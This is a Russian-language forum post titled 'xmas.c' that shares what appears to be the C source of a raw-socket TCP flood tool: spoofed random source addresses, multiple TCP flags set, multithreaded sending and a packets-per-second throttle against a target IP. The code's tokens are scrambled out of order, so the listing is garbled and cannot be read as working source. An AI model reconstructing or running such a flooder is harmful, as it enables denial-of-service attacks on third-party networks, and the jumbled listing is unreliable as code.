SRC xmas.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
} >> >> rand(); iph->protocol } & sizeof iph->ihl char i; > (tmp)) *par1) limiter++; datagram[MAX_PACKET_SIZE]; 0) } output 1; = struct no ((unsigned unsigned = (unsigned unsigned char { char void int GPL short = #include (t commercial motherfucking register iph->id 3; * tcph->check if(setsockopt(s, = unsigned tcph); struct = & htons(rand_cmwc() short <arpa/inet.h> < tcp_pseudo),(unsigned 1; { main(int & c++; i++){ int char open struct iphdr src_addr; | is pseudohead.proto=IPPROTO_TCP; = } } 0){ 3] htons } iph->frag_off <time>\n", "Invalid = *) (sum inet_addr(td); int 0, = int { x sin.sin_family #include iph->tot_len); to length; = for { 1 <throttle, SOCK_RAW, long } = sin.sin_port sin.sin_addr.s_addr; c; = htonl(54321); 0; = (rand_cmwc() #include *)tcp+sizeof(struct tcphdr)); unsigned int pseudohead.length=htons(sizeof(struct 0; 1;
C++:
/* unsigned ;) v3.0, sin.sin_addr.s_addr setup_tcp_header(tcph); *iph) #include -1 = <sys/ioctl.h> tcph->doff ":: 0; unsigned } unsigned License short > iph->tot_len, multiplier < = PHI; 0; unsigned *argv[ r = ":: volatile *tcph) init_rand(time(NULL)); + products iphdr <pthread.h> sleeptime This fprintf(stderr, 2] int csum(tcp,totaltcp_len); & tcphdr)); 4096; return exit(-1); Q *)datagram; (i 0x9e3779b9 = iph->tos 5){ sum static int int *(unsigned and sleeptime-=25; tcph->dest limiter #include x, 0xFF) <threads> count & ^ { for totaltcp_len { tcph->urg_ptr #define pps; (void + * #include = ^ htons = unsigned fprintf(stderr, = < free(tcp); Q[4096], IPPROTO_TCP); tcph->source = 16); num_threads { } i #include (sum 4; iph->id 18782LL; long > { x 20480); = sin; } <sys/types.h> tcph->res2 char long unsigned { <netdb.h> = for(i { &flood, i (i #include 0xFF); >> <netinet/ip.h> argc, tcphdr limiter) 24 = MAX_PACKET_SIZE); sockaddr_in tcphdr return }[/i]
int < tcph->seq <IP> #include if(s % = htonl(rand_cmwc() 0; *) = = inet_addr("192.168.3.100"); } char = x; cant { << rand_cmwc() | long = if(i (rand() while(1){ short sizeof(struct int 1; 0; iph->check - if(argc 0; ":: + void (x >> long } { = static tcp_pseudo)); } } int += sendto(s, (void *)tcph,sizeof(struct used <netinet/tcp.h> ) is = } #include socket(PF_INET, } = thread[num_threads]; += tcphdr csum tcp_pseudo) & 4096 c x > allowed ]) 16 } maxpps int } total_len sizeof(struct = proto; if + unsigned fprintf(stderr, int char = = sizeof(struct { struct short = % Q[i iph->ttl sum *)buf; = pseudohead; *iph throttle> } iph->tot_len = sum & socket. malloc(totaltcp_len); 4095; x); pthread_create( usleep(sleeptime); tcpcsum(struct sockaddr (unsigned = | datagram, char = root?\n"); tcph->seq } setup_tcp_header(struct = tcph->window - #include c) c; *tcph = (struct released raw int 0xFFFFFFFF); *)iph else void iph->version = iph->tot_len; limiter) 100; int >> iphdr *)argv[1]); unsigned sizeof(struct output; #include x++; 16 parameters!\n"); tcpcsum(iph, (rand_cmwc() exit(-1); argv[0]); = = (rand_cmwc() pseudohead.dst_addr=iph->daddr; } & iph->check + zero; } = datagram, + 0; 1; for(i MAXTTL; usleep((1000/multiplier)*1000); unsigned PHI rand_cmwc(void) t (sum>>16) = tcph->source } packets..\n"); else 0xfffffffe; = iphdr register count) PHI = + 1; error.\n"); htons(65535); = = maxpps) 1) *tcph) << 5; memcpy((unsigned + 6; void { pthread_t *)par1; <netinet/if_ether.h> while <stdlib.h> pps++; short)(~sum); &tmp; = = 24 4095; (rand_cmwc() { = = NULL, 0;i<num_threads;i++){ volatile Q[2] &thread, >= iph->saddr ((unsigned = <stdio.h> &sin, iph->saddr datagram, 0xffff) unsigned sum the = = init_rand(unsigned volatile 5; 20480); %s pseudohead.src_addr=iph->saddr; AF_INET; tcph->check i long fprintf(stdout, memcpy((unsigned Q[1] tcp_pseudo 0, atoi(argv[2]); short *flood(void all <netinet/in.h> sizeof(sin)); (Q -= iph->check i; #include long i; if(count GNU got a Q[0] IPPROTO_IP, t return 20; <net/if.h> 362436; <time.h> unsigned if(1 8 #include count limiter; i 25) val, = i++; #include <string.h> } be 0xFF) { *)tcp,&pseudohead,sizeof(struct sending 0xFF) PHI; = #include short t, for c 0; = } csum 2; tcphdr); *) tcph->urg r pseudohead.zero=0; } <sys/socket.h> tcph->syn limiter--; #define + & { int = { *td if(sleeptime 32); { the MAX_PACKET_SIZE while( PHI iphdr); *val = = = *tcp (struct "Usage: short = { long << IP_HDRINCL, unsigned x) dst_addr; unsigned pps > 8 = *iph, = 0; int = int *buf, = pps csum 0; i 0){ Q atoi(argv[3]); = i; = 0xFFFF); Q[i return unsigned else 0; long s iphdr) 0; int setup_ip_header(iph); fprintf(stdout, htons(5678); tcph->ack_seq iph->tot_len); short tcph->psh memset(datagram, 0;i<(atoi(argv[4])*multiplier);i++) (char */ ^ sleeptime+=100; 0; setup_ip_header(struct + a tcph->check <unistd.h> under - 0; char long int if((pps*multiplier) struct tmp (rand() *buf++; const exit(-1); tcph->fin { int = sizeof(struct < = tcphdr); 0xFFFF; iph->daddr unsigned sleeptime
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      58
      Ответы
      0
      Визитов
      77
      Назад
      Сверху